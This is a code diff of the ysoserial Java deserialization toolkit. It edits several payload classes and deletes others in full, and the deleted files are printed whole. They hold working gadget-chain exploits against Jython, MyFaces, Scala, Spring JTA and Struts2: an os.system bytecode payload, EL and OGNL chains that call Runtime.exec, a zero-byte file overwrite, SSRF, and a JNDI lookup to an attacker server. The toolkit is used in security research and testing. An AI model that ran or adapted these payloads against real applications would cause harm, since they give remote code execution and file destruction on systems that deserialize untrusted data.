final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||
|
||||
// define the comparator used for sorting
|
||||
TransformingComparator comp = new TransformingComparator(transformer);
|
||||
|
||||
// prepare CommonsCollections object entry point
|
||||
TreeBag tree = new TreeBag(comp);
|
||||
tree.add(templates);
|
||||
|
||||
// arm transformer
|
||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||
|
||||
return tree;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsCollections8.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -43,7 +43,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isAtLeast(7);
|
||||
}
|
||||
@@ -73,7 +73,7 @@ public class FileUpload1 implements PostSerializeReleasable<DiskFileItem> {
|
||||
}
|
||||
|
||||
|
||||
public void postSerializeRelease(DiskFileItem obj ) throws Exception {
|
||||
public void release ( DiskFileItem obj ) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
|
||||
@@ -31,7 +31,7 @@ import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -2,8 +2,6 @@ package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
@@ -51,13 +49,11 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
|
||||
|
||||
public Registry getObject ( String command ) throws Exception {
|
||||
|
||||
command = command.replaceAll("(^[a-z]+://)|(/[^:]+$)", "");
|
||||
public Registry getObject ( final String command ) throws Exception {
|
||||
|
||||
String host;
|
||||
int port;
|
||||
|
||||
@@ -7,7 +7,6 @@ import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import sun.rmi.transport.ObjectTable;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
@@ -35,9 +34,9 @@ import ysoserial.payloads.util.Reflections;
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPListenerTest")
|
||||
@PayloadTest( skip = "This test would make you potentially vulnerable")
|
||||
@Authors({ Authors.MBECHLER })
|
||||
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject>, PostDeserializeReleasable<UnicastRemoteObject> {
|
||||
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
|
||||
|
||||
public UnicastRemoteObject getObject ( final String command ) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
@@ -51,13 +50,8 @@ public class JRMPListener extends PayloadRunner implements ObjectPayload<Unicast
|
||||
return uro;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postDeserializeRelease(UnicastRemoteObject obj) throws Exception {
|
||||
// unexport ref to allow listener thread (and jvm) to exit
|
||||
ObjectTable.unexportObject(obj, true);
|
||||
}
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
UnicastRemoteObject uro = PayloadRunner.run(JRMPListener.class, new String[] { "44444" });
|
||||
PayloadRunner.run(JRMPListener.class, args);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,7 +31,7 @@ import java.util.*;
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@PayloadTest(precondition = "isApplicableJavaVersion")
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
|
||||
@Authors({ Authors.MATTHIASKAISER })
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
|
||||
@@ -39,7 +39,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
||||
* exception information).
|
||||
*/
|
||||
|
||||
@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest")
|
||||
@PayloadTest(skip="non RCE")
|
||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
||||
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.python.core.*;
|
||||
import java.math.BigInteger;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
|
||||
* and Yorick Koster (@ykoster)
|
||||
*
|
||||
* This version of Jython2 executes a command through os.system().
|
||||
* Based on Jython1 from @pwntester & @cschneider4711
|
||||
*/
|
||||
|
||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||
@Dependencies({ "org.python:jython-standalone:2.5.2" })
|
||||
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
|
||||
public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String code =
|
||||
"740000" + // 0 LOAD_GLOBAL 0 (eval)
|
||||
"640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
|
||||
"830100" + // 6 CALL_FUNCTION 1
|
||||
"01" + // 9 POP_TOP
|
||||
"640000" + //10 LOAD_CONST 0 (None)
|
||||
"53"; //13 RETURN_VALUE
|
||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
|
||||
String[] names = new String[]{"eval"};
|
||||
|
||||
// Generating PyBytecode wrapper for our python bytecode
|
||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
|
||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||
|
||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||
|
||||
// Prepare Trigger Gadget
|
||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||
Object[] queue = new Object[] {1,1};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||
|
||||
return priorityQueue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Jython2.class, args);
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package ysoserial.payloads;
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.faces.context.FacesContext;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
@@ -77,7 +76,6 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
|
||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||
|
||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
@@ -91,7 +89,6 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
FacesContext.getCurrentInstance();
|
||||
Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
|
||||
PayloadRunner.run(Myfaces1.class, args);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,92 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.apache.myfaces.view.facelets.el.DefaultFunctionMapper;
|
||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import javax.el.BeanELResolver;
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.faces.context.FacesContext;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.ServletRequest;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
|
||||
/*
|
||||
Adding this for sentimental value as this is almost the same as the first deserialization exploit I ever crafted that
|
||||
led to the larger research project.
|
||||
*/
|
||||
@Authors({ Authors.MBECHLER, Authors.FROHOFF })
|
||||
@PayloadTest(harness = "ysoserial.test.payloads.MyFacesExecTest")
|
||||
public class Myfaces3 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
public Object getObject ( String command ) throws Exception {
|
||||
return makeExpressionPayload(command);
|
||||
}
|
||||
|
||||
|
||||
public static String[] getDependencies () {
|
||||
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
|
||||
return new String[] {
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"org.mortbay.jasper:apache-el:8.0.27",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
} else if ( "juel".equals(System.getProperty("el")) ) {
|
||||
return new String[] {
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||
}
|
||||
|
||||
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
|
||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||
|
||||
DefaultFunctionMapper fm = new DefaultFunctionMapper();
|
||||
fm.addFunction("pwn","getRuntime", Runtime.class.getMethod("getRuntime", new Class[0]));
|
||||
|
||||
CompositeELResolver elResolver = new CompositeELResolver();
|
||||
elResolver.add(new BeanELResolver());
|
||||
FacesELContext elContext = new FacesELContext(elResolver, fc);
|
||||
elContext.setFunctionMapper(fm);
|
||||
|
||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext,
|
||||
"#{pwn:getRuntime().exec(\"" + Gadgets.escapeForJavaString(expr) + "\")}", Object.class);
|
||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||
|
||||
Reflections.setFieldValue(e.getWrapped(), "fnMapper", fm);
|
||||
|
||||
return Gadgets.makeMap(e2, e);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Myfaces3.class, new String[] { "calc" });
|
||||
}
|
||||
}
|
||||
@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
|
||||
|
||||
|
||||
@SuppressWarnings ( "unchecked" )
|
||||
public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof PostSerializeReleasable) {
|
||||
((PostSerializeReleasable) payload).postSerializeRelease(object);
|
||||
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof ReleaseableObjectPayload ) {
|
||||
( (ReleaseableObjectPayload) payload ).release(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void postSerializeRelease(String payloadType, Object payloadObject ) {
|
||||
public static void releasePayload ( String payloadType, Object payloadObject ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
@@ -92,17 +92,12 @@ public interface ObjectPayload <T> {
|
||||
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
postSerializeRelease(payload, payloadObject);
|
||||
releasePayload(payload, payloadObject);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof PostDeserializeReleasable) {
|
||||
((PostDeserializeReleasable) payload).postDeserializeRelease(object);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
|
||||
void postDeserializeRelease(T obj) throws Exception;
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
|
||||
void postSerializeRelease(T obj ) throws Exception;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||
|
||||
void release( T obj ) throws Exception;
|
||||
}
|
||||
@@ -1,110 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import scala.Function0;
|
||||
import scala.Function1;
|
||||
import scala.PartialFunction;
|
||||
import scala.math.Ordering$;
|
||||
import scala.sys.process.processInternal$;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.File;
|
||||
import java.net.URL;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/*
|
||||
Two exploits using classes in the scala library.
|
||||
* CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
|
||||
Could be useful as a DoS attack by replacing some app class/war?
|
||||
* Ssrf will perform a GET request to the given URL.
|
||||
|
||||
Requires:
|
||||
org.scala-lang:scala-library
|
||||
The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
|
||||
Some slight variations will probably work with other versions.
|
||||
*/
|
||||
|
||||
public class Scala {
|
||||
|
||||
private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
|
||||
PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
|
||||
|
||||
Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
|
||||
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
|
||||
@Override
|
||||
public int compare(Throwable o1, Throwable o2) {
|
||||
return 0;
|
||||
}
|
||||
});
|
||||
|
||||
// stub data for replacement later
|
||||
queue.add(new Exception());
|
||||
queue.add(new Exception());
|
||||
Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = new InterruptedException();
|
||||
queueArray[1] = new InterruptedException();
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
|
||||
java.io.FileOutputStream.<init>()
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.EmptyFileWriteTest")
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String path) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
|
||||
Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "file$1", new File(path));
|
||||
Reflections.setFieldValue(pbf, "append$1", false);
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
PriorityQueue.readObject()
|
||||
scala.math.Ordering$$anon$5.compare()
|
||||
scala.PartialFunction$OrElse.apply()
|
||||
scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
|
||||
scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
|
||||
java.net.URL.openStream()
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.SsrfTest")
|
||||
@Dependencies({"org.scala-lang:scala-library:2.12.6"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public static class ScalaSsrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
|
||||
public PriorityQueue<Throwable> getObject(final String url) throws Exception {
|
||||
Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
|
||||
Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
|
||||
Reflections.setFieldValue(pbf, "url$1", new URL(url));
|
||||
|
||||
return createExploit(pbf);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
//PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
|
||||
//PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
|
||||
}
|
||||
}
|
||||
@@ -1,74 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.springframework.transaction.jta.JtaTransactionManager;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.readObject()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
|
||||
* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
|
||||
* org.springframework.jndi.JndiTemplate.lookup()
|
||||
* javax.naming.InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author zerothoughts
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget was discovered by zerothoughts:
|
||||
* https://github.com/zerothoughts/spring-jndi
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"javax.transaction:jta:1.1"
|
||||
} )
|
||||
@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
|
||||
public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) )
|
||||
throw new IllegalArgumentException("Command format is: "
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
// create object
|
||||
JtaTransactionManager jta = new JtaTransactionManager();
|
||||
jta.setUserTransactionName(command);
|
||||
|
||||
return jta;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(SpringJta.class, args);
|
||||
}
|
||||
|
||||
|
||||
// add dependencies for testing
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.springframework:spring-tx:5.1.7.RELEASE",
|
||||
"org.springframework:spring-context:5.1.7.RELEASE",
|
||||
"org.springframework:spring-beans:5.1.7.RELEASE",
|
||||
"org.springframework:spring-core:5.1.7.RELEASE",
|
||||
"commons-logging:commons-logging:1.2",
|
||||
"javax.transaction:jta:1.1"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,115 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.HashMap;
|
||||
|
||||
import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
|
||||
import com.opensymphony.xwork2.TextProvider;
|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
import com.opensymphony.xwork2.ognl.OgnlValueStack;
|
||||
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
*
|
||||
* java/util/HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* java/util/HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap<K,V>).equals(Object)
|
||||
* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String)
|
||||
* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression
|
||||
*
|
||||
* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack)
|
||||
*
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* TemplatesImpl.TransletClassLoader.defineClass()
|
||||
* Pwner*(Javassist-generated).<static init>
|
||||
* Runtime.exec()
|
||||
*
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings({ "unchecked" })
|
||||
@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest")
|
||||
@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } )
|
||||
@Authors({ Authors.SCICCONE })
|
||||
public class Struts2JasperReports implements ObjectPayload<Object>, DynamicDependencies {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// create required objects via reflection
|
||||
Constructor<XWorkConverter> c1 = XWorkConverter.class.getDeclaredConstructor();
|
||||
Constructor<OgnlValueStack> c2 = OgnlValueStack.class.getDeclaredConstructor(
|
||||
XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class);
|
||||
c1.setAccessible(true);
|
||||
c2.setAccessible(true);
|
||||
XWorkConverter xworkConverter = c1.newInstance();
|
||||
OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true);
|
||||
|
||||
// inject templateImpl with embedded command
|
||||
ognlValueStack.set("template", Gadgets.createTemplatesImpl(command));
|
||||
|
||||
// create shadowMaps
|
||||
ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack);
|
||||
ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack);
|
||||
|
||||
// execute OGNL "(template.newTransformer()) upon deserialisation
|
||||
String keyExpression = "(template.newTransformer())";
|
||||
shadowMap1.put(keyExpression, null);
|
||||
shadowMap2.put(keyExpression, null);
|
||||
|
||||
return Gadgets.makeMap(shadowMap1, shadowMap2);
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
initializeThreadLocalMockContainerForTesting();
|
||||
PayloadRunner.run(Struts2JasperReports.class, args);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Create mock container and mock actionContext,
|
||||
* since a context is required for the payload being triggered upon deserialisation.
|
||||
* Simulates an Apache Struts2 app up and running.
|
||||
*/
|
||||
public static void initializeThreadLocalMockContainerForTesting() {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
}
|
||||
|
||||
// add dependencies for testing a mock struts2 app
|
||||
public static String[] getDependencies () {
|
||||
return new String[] {
|
||||
"org.apache.struts:struts2-core:2.5.20",
|
||||
"org.apache.struts:struts2-jasperreports-plugin:2.5.20",
|
||||
"org.apache.logging.log4j:log4j-api:2.11.1",
|
||||
"ognl:ognl:3.1.21", "org.apache.commons:commons-lang3:3.8.1",
|
||||
"javassist:javassist:3.12.1.GA"
|
||||
};
|
||||
|
||||
}
|
||||
}
|
||||
